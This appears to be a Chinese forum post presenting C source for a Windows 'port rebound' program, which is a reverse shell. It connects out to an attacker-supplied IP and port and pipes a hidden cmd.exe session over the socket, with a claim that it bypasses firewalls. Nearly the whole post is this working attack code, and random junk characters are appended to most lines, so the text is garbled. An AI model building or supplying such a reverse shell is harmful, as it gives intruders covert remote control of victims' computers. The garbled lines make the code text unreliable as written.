Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 1e}8LH7  
#U ASH&  
/* ============================== .Djta|puu  
Rebound port in Windows NT sg
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By wind,2006/7 XAuI7e  
===============================*/ BStk&b  
#include kOjf #@c  
#include D4Etl5k  
(=c1  
#pragma comment(lib,"wsock32.lib") h@1!T  
q0./O|Dj   
void OutputShell(); .H~Y
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SOCKET sClient; 7\Fs=\2l+'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b>11h  
fS=hpL6]@  
void main(int argc,char **argv) iw\%h9  
{ tFM$#JN  
WSADATA stWsaData; QyGnDomQ  
int nRet; ;Vu5p#,O<M  
SOCKADDR_IN stSaiClient,stSaiServer; RMP9y$~3pU  
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if(argc != 3) Zu/<NC (  
{ +Qj(B@i  
printf("Useage:\n\rRebound DestIP DestPort\n"); $,27pkwHeW  
return; f.6~x$:)`E  
} rs-,0'z,7  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Y)|N"f;  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l]6%lud8_  
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); M.[
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,S&z<S_  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6b=q-0yj  
{ L'Q<>{;Ig  
printf("Bind Socket Failed!\n"); _Z
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return; UE"GJt`I  
} |E)aT#$f'  
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stSaiServer.sin_family = AF_INET; Z`Z5sj 4{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -{jdn%Y7CK  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .iwZ*b{  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r 
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{ R 94
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printf("Connect Error!"); `T&jPA9eY  
return; z(13~38+  
} wvby?MhPY  
OutputShell(); K8I$]M  
} 6'-As=iw  
1iBP,:>*  
void OutputShell() jZ*WN|FK?  
{ s!B/WsK  
char szBuff[1024]; ~O6\6$3b5E  
SECURITY_ATTRIBUTES stSecurityAttributes; nH-V{=
**  
OSVERSIONINFO stOsversionInfo; $XnPwOj  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; # Su~`]  
STARTUPINFO stStartupInfo; Zjh2{ :  
char *szShell; [wnDHy6W  
PROCESS_INFORMATION stProcessInformation; ,5Vt]#F5@  
unsigned long lBytesRead; WyhhCR=;  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s^8u&y)3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $ &UZy|9  
stSecurityAttributes.lpSecurityDescriptor = 0; z@ 35NZn  
stSecurityAttributes.bInheritHandle = TRUE; MXtkP1A`  
fS&6  
#q\x$  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); na+d;h*~y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9i q""  
#]Y>KX2HG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mN_Z7n;^eh  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X6e/g{S)  
stStartupInfo.wShowWindow = SW_HIDE; }hpmO-  
stStartupInfo.hStdInput = hReadPipe; yV_wDeAz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A!i q->+  
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GetVersionEx(&stOsversionInfo); GX{XdJD  
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switch(stOsversionInfo.dwPlatformId) @R|'X  
{ |I;$M;'r&  
case 1: J @IS\9O  
szShell = "command.com"; <@v]H@E  
break; f. }c7  
default: C#0Qd%  
szShell = "cmd.exe"; Ah69 _>N`S  
break; xg@NQI@7   
} 7V7zGx+Z7  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;]2s,za)qs  
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send(sClient,szMsg,77,0); EbNd=Z'J  
while(1) Dh4 6o|P  
{ XRN+`J  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iUk-'   
if(lBytesRead) _i0kc,*C\  
{ t<iEj"5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X;F8_+Np  
send(sClient,szBuff,lBytesRead,0); I^\&y(LJF  
} 08bJCH  
else R"v 3!P  
{ nk"NmIf  
lBytesRead=recv(sClient,szBuff,1024,0); (rtY!<|p  
if(lBytesRead<=0) break; |OO in]5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *jq7X  
} "_UdBG  
} }n:?7  
KL,/2(  
return; _*M42<wcO  
}